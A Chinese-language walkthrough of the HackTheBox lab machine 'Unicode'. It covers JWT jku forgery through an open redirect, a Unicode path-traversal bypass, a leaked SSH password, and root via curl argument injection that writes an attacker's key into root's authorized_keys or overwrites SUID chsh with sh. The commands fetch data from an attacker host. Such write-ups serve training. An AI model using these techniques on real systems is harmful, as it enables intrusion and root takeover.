本文最后更新于:2022年6月6日 下午
0x01 Recon 端口 1 nmap -sC -sV -v 10.10.11.126
1 2 3 4 5 6 7 8 9 10 11 12 13 PORT STATE SERVICE VERSION22 /tcp open ssh OpenSSH 8.2 p1 Ubuntu 4 ubuntu0.3 (Ubuntu Linux; protocol 2.0 ) | ssh -hostkey: | 3072 fd:a0:f7:93 :9 e:d3:cc:bd:c2:3 c:7 f:92 :35 :70 :d7:77 (RSA) | 256 8 b:b6:98 :2 d:fa:00 :e5:e2:9 c:8 f:af:0 f:44 :99 :03 :b1 (ECDSA) |_ 256 c9:89 :27 :3 e:91 :cb:51 :27 :6 f:39 :89 :36 :10 :41 :df:7 c (ED25519)80 /tcp open http nginx 1.18 .0 (Ubuntu) |_http -title: 503 | http -methods: |_ Supported Methods: HEAD GET OPTIONS |_http -server-header: nginx/1.18 .0 (Ubuntu) |_http -trane-info: Problem with XML parsing of /evox/about Service Info : OS: Linux; CPE: cpe:/o:linux:linux_kernel
站点 到处看看 站点看起来是一个威胁情报商业公司的站点,网站最中央有一个非常显眼的按钮。点击按钮会发起重定向访问/redirect/?url=google.com
,之后就会经过302跳转转到google.com
。
站点在注册账号和登陆后重定向到/dashboard
。首页有三个按钮,看起来中间那个按钮是我们的目标。
同时在界面的底部有一个Powered By flask
,大概率这是一个Flask编写的站点。
第一个按钮定位到/pricing
,没啥用。第二个按钮定位到/upload
,看起来是一个文件上传的绕过。但是Flask并没有文件上传相关的漏洞,同时文件上传的后缀也被限制在了pdf,同时上传成功了并没有读取的界面,看起来这里并不能利用。
目录扫描 目录扫描没有找到有用的结果,这里就不放出来了。
架构分析 虽然网站功能本身并没有太多有意思的点,但是抓包能够发现网站使用了jwt作为验证手段。
1 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ .eyJ1c2VyIjoiYWRtaW4yIn0.E48Ev307FZKerAanbwLSKHXe_c_Y2axUe_K37bCMlTrDpgPGswjiGcMn7ycdAcSQwg1GgIGi23AE1IxvK6iROO2xRmPG71NTLYrXDCkUxZlq-VHFR-6 cCiWddmc-OlRgDK3-RErCFy47AtL4kODl1h9BlKtEXAmftXd3awfFTkfDU1SVqFddhsCn-Dl8ttZILkf4qHXHeD7-3 mk5hjOzHPxi7ez3sei_CRHURQByXj0unjPfJxRJDCNIIZizRAiCpTbG3qyDBbgzjmxJySjMziwrdB0f1vHx-1 cNUVhTBozlzPQx8OsRrcluA9TkXq8jabDQUnItQe91lOb4ufgS1g
放到jwt.io
里解析一下,发现和经常碰到的jwt加密方式不一样,比较常见的jwt header中,alg字段是HS256
,这里是RS256
,然后有一个不太熟悉的字段jku
。
JKU利用 访问文件http://hackmedia.htb/static/jwks.json,能够发现一些emm...,看不懂的信息。
1 2 3 4 5 6 7 8 9 10 11 12 { "keys" : [ { "kty" : "RSA" , "use" : "sig" , "kid" : "hackthebox" , "alg" : "RS256" , "n" : "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs" , "e" : "AQAB" } ] }
我们可以尝试搜索一下jwks.json这个文件名,总之最后找到下面两个有用的帖子。
1 2 https://i nfosecwriteups.com/attacking-json-web-tokens-jwts-d1d51a1e17cb https:// www.anquanke.com/post/i d/236830
在安全客那篇帖子中对可用的攻击方式做了很好的总结。我们先尝试一下随便修改jku
指向我们的服务器地址,如"jku":"http://10.10.16.4/jwks.json"
,发现返回报错。
但是同时我们的机子上并没有显示服务器的访问信息。可以断定是程序逻辑本身对jku
作了前缀限制。按照帖子中提到的方法,我们可以使用重定位的方式绕过限制,原因是在之前我们发现了一个重定位的链接/redirect
。
直接使用 http://hackmedia.htb/redirect/?url=10.10.16.2/jwks.json不行。
进一步尝试发现http://hackmedia.htb/static/../redirect/?url=10.10.16.2/jwks.json 可以。
1 2 ➤ echo '{"typ" :"JWT" ,"alg" :"RS256" ,"jku" :"http://hackmedia.htb/static/../redirect/?url=10.10.16.4/jwks.json" }' | base64 -w0 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8/dXJsPTEwLjEwLjE2LjQvandrcy5qc29uIn0
替换Cookie后刷新,能够在本机上看到服务器的访问记录。
1 2 3 4 ➤ python3 -m http.server 80 Serving HTTP on 0 .0 .0 .0 port 80 (http://0 .0 .0 .0 :80 /) ...10.10.11.126 - - [16/May/2022 14:03:02] code 404 , message File not found10.10.11.126 - - [16/May/2022 14:03:02] "GET /jwks.json HTTP/1.1" 404 -
为了能够达到伪造token,首先需要伪造auth cookie。
1 2 openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out public.crt
之后将公私钥文件内容分别贴入签名部分。
于我而言,得到了如下Cookie。
1 eyJ0 eXAiOiJKV1 QiLCJhbGciOiJSUzI1 NiIsImprdSI6 Imh0 dHA6 Ly9 oYWNrbWVkaWEuaHRiL3 N0 YXRpYy8 uLi9 yZWRpcmVjdC8 _dXJsPTEwLjEwLjE2 LjQvandrcy5 qc29 uIn0 .eyJ1 c 2 VyIjoiYWRtaW4 ifQ.vkKhZyZ7 NTaiJSZSJI3 pT1 pknITQRVgRFKnQ0 RN4 I_owpB6e25 _lFQEekoqO61 uA0 Et8 qGocxYUg5e79 LSx1 Uwa0 B7 uVVNOld1 A6 QiVEC06 XBYkJ22 FE1 Qxe7 xK-xRBMY2 fHXFH49 fTYSS4 V_wQNP_iLD1 xu7 NLxQlN9 hLCCaQiW-iJlP96 j1 axOtE5 zBBPHFGzh8 LU5 G4 TTH_9 lrDQpgg7 jeITO06 ZMvanuGTJ7 ijgyEMinUJOsOs-SGHzcf6 vtOA8 kPd_jbp_Bgf0 JgKkJFNDHE-V3 GoucATG625 NXaOGkRXu7 PM0 KXnZJMzfBLcHZlIR3 o4 G4 pT5 Lw2 jy72 m3 Nw
接下来就是构造我们的jwks.json
了。使用如下脚本生成jwks.json
中的n、e值。
1 2 3 4 5 6 7 8 from Crypto.PublicKey import RSA fp = open ("publickey.crt" , "r" ) key = RSA.importKey(fp.read()) fp.close()print "n:" , hex (key.n)print "e:" , hex (key.e)
1 2 3 ➤ python2 ne.py n: 0xc71e2172aacd5d11239575380d3768f0615f23e049bce26eed5b86a0646ddd919a2999831d7674c0b40900c26e51491c01dfde7c59bbd328a73ffb96e85d55bdf22e60880c3f504060b0c3a231f26df74898d8ca46fae6378b4c00c754fb6134408c23a46ccc58ee8f6a5e3533a38ddee1303e10057433258b4acd72fd9a20c4bfce2c24ed21d4a235b2e1556ba52ee9027bbd279facce009872d1b9e254d10eefe07f20bc6932ef269bdedd32127948316 e: 0x10001 L
但是观察服务器上的jwks.json
,我们发现和我们得到的n、e值格式不太一样。
1 2 "n" : "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs" , "e" : "AQAB"
将AQAB
Base64解码,如下:
1 2 ➤ echo AQAB | base64 -d | xxd 00000000: 0100 01 ...
合理推测服务器上的n、e是原始十六进制的Base64编码。
我们也可以据此生成我们的jwks.json
文件。e值我们是不用修改了,只用修改n值即可。
1 2 3 ➤ echo "c71e2172aacd5d11239575380d3768f0615f23e049bce26eed5b86a0646ddd919a2999831d7674c0b40900c26e51491c01dfde7c59bbd328a73ffb96e85d55bdf22e60880c3f504060b0c3a231f26df74898d8ca46fae6378b4c00c754fb6134408c23a46ccc58ee8f6a5e3533a38ddee1303e10057433258b4acd72fd9a20c4bfce2c24ed21d4a235b2e1556ba52ee9027bbd279facce009872d1b9e254d10eefe07f20bc6932ef269bdedd32127948316" | xxd -r -p | base64 -w0 xx4hcqrNXREjlXU4DTdo8GFfI+BJvOJu7VuGoGRt3ZGaKZmDHXZ0wLQJAMJuUUkcAd/efFm70yinP/uW6F1VvfIuYIgMP1BAYLDDojHybfdImNjKRvrmN4tMAMdU+2E0QIwjpGzMWO6Pal41M6ON3uEwPhAFdDMli0rNcv2aIMS/ziwk7SHUojWy4VVrpS7pAnu9J5+szgCYctG54lTRDu/gfyC8aTLvJpve3TISeUgx
如此,替换后最后得到我们的jwks.json
文件。最后起一个http服务器即可。
成功后我们就以admin身份进入了(至于为啥是admin,只能说猜的)。
点题:Unicode 进入后能够看到admin版的dashboard。
几个按钮点一遍后发现一个查看pdf报表的链接,猜测有SSRF。
读取一些常见的文件发现一些文件会显示被过滤,比如在这里读取了/etc/passwd
。
在读取一些不存在的文件的时候会显示Not Found
。
也就是我们需要对这个waf进行一个绕过了,结合题目是Unicode,我们的ByPass机制应该和Unicode有关。
但首先我们需要知道waf的过滤机制,在一些FUZZ工作后我发现有如下规律:
输入
结果
..
通过
./
通过
../
拦截
/et
通过
/etc
拦截
et
通过
etc
拦截
..etc
通过
var
通过
/var
拦截
/abc
通过
也就是这个waf似乎过滤了一些根目录文件夹名和../
这个符号。
在尝试后我们发现可以通过Unicode兼容性绕过过滤。参考
所以我们可以将..
替换成‥
进行绕过,也可以使用Enclosed alphanumerics
。
1 2 3 4 5 http:// hackmedia.htb/display/ ?page=‥/‥/ ‥/‥/ etc/passwd http:// hackmedia.htb/display/ ?page=/ⓔⓣⓒ/ ⓟⓐⓢⓢⓦⓓ
最后使用方案1成功读取了文件。
读文件
看一眼/proc/self/cmdline
,这个熟悉的8000端口和uwsgi
,是flask没跑了。
然后是/proc/self/environ
变量,能够发现一个code用户。
然后尝试读一下源码,典型的flask的主py文件名是app.py
,能够成功读取。
然后是数据库配置文件。
得到凭据信息code:B3stC0d3r2021@@!
,拿去撞库登录ssh,成功。
0x02 Root sudo 接下来就是提权了,sudo -l
就能直接看到我们的目标。
1 2 3 4 5 6 code@code :~ $ sudo -lMatching Defaults entries for code on code: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin \:/usr/sbin \:/usr/bin \:/sbin \:/bin \:/snap/bin User code may run the following commands on code: (root) NOPASSWD: /usr/bin/treport
treport 逆向 运行文件能够看到这是一个处理report的小脚本。从这个文件的功能不难发现可能的提权方式就是文件覆写(包括写SSH,sudoer文件等)。
1 2 3 4 5 6 code@code :~$ sudo /usr/bin/treport1 .Create Threat Report.2 .Read Threat Report.3 .Download A Threat Report.4 .Quit . Enter your choice:
用file
命令看看,能够发现这是一个ELF可执行文件。
1 2 code@code:~$ file /usr/ bin/treport/usr/ bin/treport: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter / lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f6af5bc244c001328c174a6abf855d682aa7401b, for GNU/ Linux 2.6 .32 , stripped
另外这个文件大得过分,和它所体现的功能实在不是很对应。这种一般都是使用了某些脚本代码打包工具。
将文件脱下用IDA看看,能够看到很多Py
开头的文件。初步推断就是Python。
然后尝试使用PyInstaller Extractor 提取pyc文件,成功。
python pyinstxtractor.py ../../桌面/Unicode/treport 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ➤ python pyinstxtractor.py ../../桌面/Unicode/treport [+] Processing ../../桌面/Unicode/treport [+] Pyinstaller version: 2.1+ [+] Python version: 38 [+] Length of package: 6798297 bytes [+] Found 46 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: treport.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python38 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: ../../桌面/Unicode/treport You can now use a python decompiler on the pyc files within the extracted directory
1 2 3 4 5 6 7 8 9 10 11 ➤ ll | grep pyc -rw-r--r-- 1 kali kali 1.4K 5月 18 19:36 pyiboot01_bootstrap.pyc -rw-r--r-- 1 kali kali 1.8K 5月 18 19:36 pyimod01_os_path.pyc -rw-r--r-- 1 kali kali 8.7K 5月 18 19:36 pyimod02_archive.pyc -rw-r--r-- 1 kali kali 13K 5月 18 19:36 pyimod03_importers.pyc -rw-r--r-- 1 kali kali 3.4K 5月 18 19:36 pyimod04_ctypes.pyc -rw-r--r-- 1 kali kali 688 5月 18 19:36 pyi_rth_inspect.pyc -rw-r--r-- 1 kali kali 2.1K 5月 18 19:36 pyi_rth_multiprocessing.pyc -rw-r--r-- 1 kali kali 1.1K 5月 18 19:36 pyi_rth_pkgutil.pyc -rw-r--r-- 1 kali kali 311 5月 18 19:36 struct.pyc -rw-r--r-- 1 kali kali 2.6K 5月 18 19:36 treport.pyc
然后使用 uncompyle6 将pyc文件还原成py文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import os, sysfrom datetime import datetimeimport reclass threat_report : def create (self ): file_name = input ('Enter the filename:' ) content = input ('Enter the report:' ) if '../' in file_name: print ('NOT ALLOWED' ) sys.exit(0 ) file_path = '/root/reports/' + file_name with open (file_path, 'w' ) as (fd): fd.write(content) def list_files (self ): file_list = os.listdir('/root/reports/' ) files_in_dir = ' ' .join([str (elem) for elem in file_list]) print ('ALL THE THREAT REPORTS:' ) print (files_in_dir) def read_file (self ): file_name = input ('\nEnter the filename:' ) if '../' in file_name: print ('NOT ALLOWED' ) sys.exit(0 ) contents = '' file_name = '/root/reports/' + file_name try : with open (file_name, 'r' ) as (fd): contents = fd.read() except : print ('SOMETHING IS WRONG' ) else : print (contents) def download (self ): now = datetime.now() current_time = now.strftime('%H_%M_%S' ) command_injection_list = ['$' , '`' , ';' , '&' , '|' , '||' , '>' , '<' , '?' , "'" , '@' , '#' , '$' , '%' , '^' , '(' , ')' ] ip = input ('Enter the IP/file_name:' ) res = bool (re.search('\\s' , ip)) if res: print ('INVALID IP' ) sys.exit(0 ) if 'file' in ip or 'gopher' in ip or 'mysql' in ip: print ('INVALID URL' ) sys.exit(0 ) for vars in command_injection_list: if vars in ip: print ('NOT ALLOWED' ) sys.exit(0 ) cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"' os.system(cmd)if __name__ == '__main__' : obj = threat_report() print ('1.Create Threat Report.' ) print ('2.Read Threat Report.' ) print ('3.Download A Threat Report.' ) print ('4.Quit.' ) check = True if check: choice = input ('Enter your choice:' ) try : choice = int (choice) except : print ('Wrong Input' ) sys.exit(0 ) else : if choice == 1 : obj.create() elif choice == 2 : obj.list_files() obj.read_file() elif choice == 3 : obj.download() elif choice == 4 : check = False else : print ('Wrong input.' )
Bypass 其中download
函数比较有意思,它首先检查了过滤,然后使用了os.system
来执行命令。
我们能控制的只有cmd中的ip参数,然后一些bash中的命令分隔符号都被过滤了,无法通过;&'|><
这些符号来执行另一条系统命令。
1 cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
但是curl有一个特性就是它在传入多重参数的时候不会报错,而是会选择先出现的参数,亦即我们需要将命令中原本的-o
参数给覆盖成自己的。
这个方案还有一个问题是该如何输入空格,一个可行的方案如下,原理是使用了Bash的Brace Expansion 特性。
1 {http:// 10.10 .16.4 /key,-o,/ root/.ssh/ authorized_keys}
在拼接后,最后执行的命令如下:
1 curl http:// 10.10 .16.4 /key -o / root/.ssh/ authorized_keys -o /root/ reports/threat_report_[current_time]
在本机上架设http服务器,传送自己的公钥即可。
1 2 3 ➤ python3 -m http.server 80 Serving HTTP on 0 .0 .0 .0 port 80 (http://0 .0 .0 .0 :80 /) ...10.10.11.126 - - [19/May/2022 10:47:11] "GET /key HTTP/1.1" 200 -
然后就能连接上root的ssh了。
1 2 3 4 ➤ ssh root@hackmedia.htb root@code :~# cat root.txt926e6 c 18 a43 aa228 f6 c 974 c 20500 a181
0x03 一些后记 看了0xdf大哥的帖子 ,在提权上的思路有所收获。特此记录。
任意文件读 注意到treport.py中有这样一段代码:
1 2 3 if 'file' in ip or 'gopher' in ip or 'mysql' in ip: print('INVALID URL' ) sys.exit (0 )
这个代码本身是为了防止我们使用file等伪协议直接读取本地的文件的,但是注意到 Python 检查是区分大小写的,而curl 并不关心。 我可以将它与正文的命令注入结合起来读取文件:
之后执行的命令如下,再查看文件即可拿到root.txt。
1 curl fiLe:// /root/ root.txt -o /root/ reports/threat_report_[current_time]
读写综合利用 任意文件读写的综合利用还可以产生一个有趣的文件读取思路。
首先查找具有SUID
权限的文件。如/usr/bin/chsh
,命令可以使用find / -perm -4000 -user root 2>/dev/null
。
然后将/usr/bin/chsh
使用sh
覆写:
1 2 3 4 5 6 Enter your choice: 3 Enter the IP /file_name: {File: ///bin /sh,-o,/usr /bin/chsh } % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 126k 100 126k 0 0 123M 0 --:-- :-- --:-- :-- --:-- :-- 123M Enter your choice:
覆写后文件的SUID位不会变化,此时使用命令chsh -p
(对应原来的sh -p
)命令即可获得root的shell。
1 2 3 code@code:~$ chsh -puid =1000(code) gid =1000(code) euid =0(root) groups =1000(code)
0x04 Summary 这是一个Medium难度的Linux靶机,主要考察内容如下:
JWT中的JKU利用
基于Unicode机制的WAF Bypass
网站根目录的确定
打包后的python代码的还原
python代码审计
命令执行绕过技巧